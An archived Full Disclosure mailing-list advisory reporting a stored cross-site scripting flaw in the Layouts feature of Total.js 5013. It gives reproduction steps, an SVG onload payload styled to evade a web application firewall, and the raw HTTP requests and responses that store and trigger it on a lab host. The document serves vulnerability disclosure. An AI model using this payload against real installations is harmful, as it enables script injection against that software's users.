full-disclosure - [FD] Stored Cross-Site Scripting (XSS) - Layout Functionality

Open Source and information security mailing list archives

Message-ID: <CAF2Wu1Ysg4RzreCtHgjnNWoG2EoW8tzg9G3E2QbaqvTcTHctKg@mail.gmail.com>
Date: Sun, 26 Oct 2025 17:42:30 +0000
From: Andrey Stoykov <mwebsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Stored Cross-Site Scripting (XSS) - Layout Functionality -
	totaljsv5013

# Exploit Title: Stored Cross-Site Scripting (XSS) - Layout Functionality -
totaljsv5013
# Date: 10/2025
# Exploit Author: Andrey Stoykov
# Version: 5013
# Tested on: Debian 12
# Blog:
https://msecureltd.blogspot.com/2025/10/friday-fun-pentest-series-44-stored.html

Stored Cross-Site Scripting (XSS) - Layout Functionality:

Steps to Reproduce:
1. Login with user and visit "Layouts"
2. Click on "Create" and enter name for the layout
3. Trap the HTTP POST request and in the "html" parameter value enter the
Cross-Site Scripting (XSS) payload below
4. Upon visiting the newly created layout the payload would execute

"<Svg Only=1 OnLoad=confirm(atob(\"Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ==\"))>"

// HTTP POST Request - Creating New Layout

POST /admin/ HTTP/1.1
Host: 192.168.58.153
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0)
Gecko/20100101 Firefox/145.0
[REDACTED]

{"schema":"layouts_save","data":{"name":"xss-test-layout-name-test","html":"<Svg
Only=1 OnLoad=confirm(atob(\"Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ==\"))>"}}

// HTTP POST Response - Creating New Layout

HTTP/1.1 200 OK
content-type: application/json; charset=utf-8
cache-control: private, no-cache, no-store, max-age=0
vary: Accept-Encoding, Last-Modified, User-Agent
expires: -1
x-powered-by: Total.js
Date: Sun, 26 Oct 2025 16:33:35 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 39

{"success":true,"value":"JE6ar71cU61f"}

// HTTP GET Request - Triggering the Payload

POST /admin/ HTTP/1.1
Host: 192.168.58.153
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0)
Gecko/20100101 Firefox/145.0
[REDACTED]

{"schema":"layouts_html","data":{"id":"JE6ar71cU61f"}}

// HTTP GET Response - Triggering the Payload

HTTP/1.1 200 OK
content-type: application/json; charset=utf-8
cache-control: private, no-cache, no-store, max-age=0
vary: Accept-Encoding, Last-Modified, User-Agent
expires: -1
x-powered-by: Total.js
Date: Sun, 26 Oct 2025 16:39:17 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 117

{"name":"xss-test-layout-name-test","html":"<Svg Only=1
OnLoad=confirm(atob(\"Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ==\"))>"}
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives